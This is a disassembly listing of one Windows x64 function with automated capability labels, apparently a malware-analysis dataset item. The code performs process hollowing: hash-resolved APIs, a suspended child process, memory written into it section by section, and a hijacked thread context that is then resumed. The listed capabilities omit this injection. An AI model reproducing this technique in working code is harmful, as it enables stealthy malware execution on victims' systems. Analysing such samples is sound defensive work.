Function at 0x140002f90
Capabilities:
Accept command line arguments
Enumerate pe sections
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x748
mov qword [rsp + 0xa8], 0
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0xb8], 0
call fcn.140002930
mov qword [0x140205a40], rax
call fcn.140002990
mov qword [0x140205a48], rax
mov edx, 0x8a8b4676
mov rcx, qword [0x140205a40]
call fcn.140002a70
mov qword [rsp + 0xa8], rax
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
mov qword [rsp + 0xb0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov qword [rsp + 0xb8], rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov qword [rsp + 0xd0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov qword [rsp + 0xd8], rax
mov edx, 0x98acab94
mov rcx, qword [0x140205a48]
call fcn.140002a70
mov qword [rsp + 0xe8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0xe0], rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0xf0], rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0xa0], rax
mov edx, 0x339c09fb
mov rcx, qword [0x140205a48]
call fcn.140002a70
mov qword [rsp + 0xf8], rax
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov qword [rsp + 0x100], rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
mov qword [rsp + 0x108], rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x90], rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
mov qword [rsp + 0x180], rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov qword [rsp + 0x118], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x168], rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x170], rax
mov edx, 0xba190f77
mov rcx, qword [0x140205a40]
call fcn.140002a70
mov qword [rsp + 0x178], rax
mov r8d, 0x4d0
xor edx, edx
lea rcx, [rsp + 0x270]
call fcn.1400138a0
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0x1c8]
call fcn.1400138a0
mov dword [rsp + 0x2a0], 0x10007
mov rax, qword [rsp + 0x750]
mov qword [rsp + 0xc0], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rdx, rax
lea rcx, [rsp + 0x128]
call fcn.1400086e0
xor r8d, r8d
lea rdx, [0x1400378b4]
lea rcx, [rsp + 0x128]
call fcn.14000f140
mov r8, rax
xor edx, edx
lea rcx, [rsp + 0x128]
call fcn.14000f040
mov rdx, qword [rsp + 0x758]
lea rcx, [rsp + 0x1a8]
call fcn.1400086e0
lea r8, [0x1400378ec]
mov rdx, rax
lea rcx, [rsp + 0x188]
call fcn.1400064e0
lea r8, [rsp + 0x128]
mov rdx, rax
lea rcx, [rsp + 0x148]
call fcn.140006490
lea rcx, [rsp + 0x188]
call fcn.140009650
lea rcx, [rsp + 0x1a8]
call fcn.140009650
lea rcx, [rsp + 0x148]
call fcn.14000d9d0
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0xc0]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x750]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x58]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x98], rax
mov r8d, 0x18
xor edx, edx
lea rcx, [rsp + 0x68]
call fcn.1400138a0
lea rcx, [rsp + 0x110]
call qword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0x200]
call fcn.1400138a0
lea rax, [rsp + 0x68]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x200]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0xc8]
xor ecx, ecx
call qword [rsp + 0xd0]
test eax, eax
je 0x14000351f
lea rdx, [rsp + 0x270]
mov rcx, qword [rsp + 0x70]
call qword [rsp + 0xd8]
test eax, eax
je 0x14000351f
xor ecx, ecx
call qword [rsp + 0xe0]
mov rdx, rax
mov rcx, qword [rsp + 0x68]
call qword [rsp + 0xe8]
mov rax, qword [rsp + 0x58]
mov eax, dword [rax + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
mov rax, qword [rsp + 0x58]
mov rdx, qword [rax + 0x30]
mov rcx, qword [rsp + 0x68]
call qword [rsp + pe_nt_image_headers64]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
je 0x140003513
mov rax, qword [rsp + 0x58]
mov eax, dword [rax + 0x54]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rsp + 0x750]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
call qword [rsp + 0xa0]
test eax, eax
je 0x140003513
mov dword [rsp + 0x50], 0
jmp 0x140003397
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
mov rax, qword [rsp + 0x58]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x50], eax
jge 0x14000341f
movsxd rax, dword [rsp + 0x50]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x98]
mov eax, dword [rcx + rax + 0x10]
movsxd rcx, dword [rsp + 0x50]
imul rcx, rcx, 0x28
mov rdx, qword [rsp + 0x98]
mov ecx, dword [rdx + rcx + 0x14]
mov rdx, qword [rsp + 0x750]
add rdx, rcx
mov rcx, rdx
movsxd rdx, dword [rsp + 0x50]
imul rdx, rdx, 0x28
mov r8, qword [rsp + 0x98]
mov edx, dword [r8 + rdx + 0xc]
mov r8, qword [rsp + 0x60]
add r8, rdx
mov rdx, r8
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rcx, qword [rsp + 0x68]
call qword [rsp + 0xa0]
jmp 0x14000338d
lea rax, [rsp + 0x120]
mov qword [rsp + 0x20], rax
mov r9d, 0x30
lea r8, [rsp + 0x1c8]
xor edx, edx
mov rcx, qword [rsp + 0x68]
call qword [rsp + 0xf8]
test eax, eax
jne 0x140003513
mov rax, qword [rsp + 0x1d0]
add rax, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rsp + 0x60]
mov rdx, rax
mov rcx, qword [rsp + 0x68]
call qword [rsp + 0xa0]
test eax, eax
je 0x140003513
mov rax, qword [rsp + 0x58]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2f0], rax
lea rdx, [rsp + 0x270]
mov rcx, qword [rsp + 0x70]
call qword [rsp + 0x100]
test eax, eax
je 0x140003513
mov rcx, qword [rsp + 0x70]
call qword [rsp + 0x108]
test eax, eax
je 0x140003513
mov rcx, qword [rsp + 0x68]
call qword [rsp + 0x90]
mov rcx, qword [rsp + 0x70]
call qword [rsp + 0x90]
mov dword [rsp + 0x80], 0
lea rcx, [rsp + 0x148]
call fcn.140009650
lea rcx, [rsp + 0x128]
call fcn.140009650
mov eax, dword [rsp + 0x80]
jmp 0x1400035a9
lea rcx, str.pause
call fcn.14001a1d4
lea rcx, [rsp + 0x110]
call qword [sym.imp.KERNEL32.dll_Wow64RevertWow64FsRedirection]
cmp qword [rsp + 0x68], 0
je 0x14000357d
xor edx, edx
mov rcx, qword [rsp + 0x68]
call qword [rsp + 0x118]
mov rcx, qword [rsp + 0x68]
call qword [rsp + 0x90]
mov dword [rsp + 0x84], 0xffffffff
lea rcx, [rsp + 0x148]
call fcn.140009650
lea rcx, [rsp + 0x128]
call fcn.140009650
mov eax, dword [rsp + 0x84]
jmp 0x1400035a9
mov dword [rsp + 0x88], 0xffffffff
lea rcx, [rsp + 0x148]
call fcn.140009650
lea rcx, [rsp + 0x128]
call fcn.140009650
mov eax, dword [rsp + 0x88]
add rsp, 0x748
ret